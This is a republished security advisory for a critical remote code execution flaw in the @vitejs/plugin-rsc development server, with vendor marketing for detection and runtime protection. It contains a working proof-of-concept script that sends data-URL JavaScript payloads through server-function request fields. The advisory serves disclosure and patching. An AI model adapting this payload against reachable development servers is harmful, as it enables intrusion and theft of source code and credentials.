GHSA-j76j-5p5g-9wfr
CRITICAL@vitejs/plugin-rsc Remote Code Execution through unsafe dynamic imports in RSC server function APIs on development server
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
@vitejs/plugin-rscnpmDescription
Summary
Arbitrary Remote Code Execution on development server via unsafe dynamic imports in @vitejs/plugin-rsc server function APIs (loadServerAction, decodeReply, decodeAction) when integrated into RSC applications that expose server function endpoints.
Impact
Attackers with network access to the development server can execute arbitrary JavaScript code with Node.js privileges, allowing them to read/modify files, exfiltrate sensitive data (source code, environment variables, credentials), or pivot to other internal services. While this affects development servers only, the risk increases when using vite --host to expose the server on all network interfaces.
Details
In the example RSC application provided in Proof of Concept, the server handles server function call through API such as loadServerAction, decodeReply, decodeAction with http request's header and body as inputs:
During development, these API internally relies on dynamic import to load server function module, which allows executing arbitrary module including data url module.
Proof of Concept
The example app is avialable in
- https://github.com/vitejs/vite-plugin-react/tree/main/packages/plugin-rsc/examples/starter
- https://stackblitz.com/edit/github-rubfqp9k?file=poc.js
Reproduction Steps:
- Stat development server
vite dev - Run a following script
node poc.js - See "REMOTE CODE EXECUTION1" and "REMOTE CODE EXECUTION2" in server console
// [poc.js]
const payload = {
0: ["$F1"],
1: { id: "data:text/javascript,console.log('REMOTE CODE EXECUTION 1')# " },
};
const fd = new FormData();
for (const key in payload) {
fd.append(key, JSON.stringify(payload[key]));
}
const serverUrl = process.argv[2] || 'http://localhost:5173/_.rsc';
const response = fetch(serverUrl, {
method: "POST",
headers: {
"x-rsc-action": "data:text/javascript,console.log('REMOTE CODE EXECUTION 2')# ",
},
body: fd,
})
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @vitejs/plugin-rsc | all versions | 0.5.6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @vitejs/plugin-rsc. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @vitejs/plugin-rsc to 0.5.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-j76j-5p5g-9wfr is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-j76j-5p5g-9wfr is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-j76j-5p5g-9wfr. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-j76j-5p5g-9wfr in your dependencies?
O3 detects GHSA-j76j-5p5g-9wfr across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.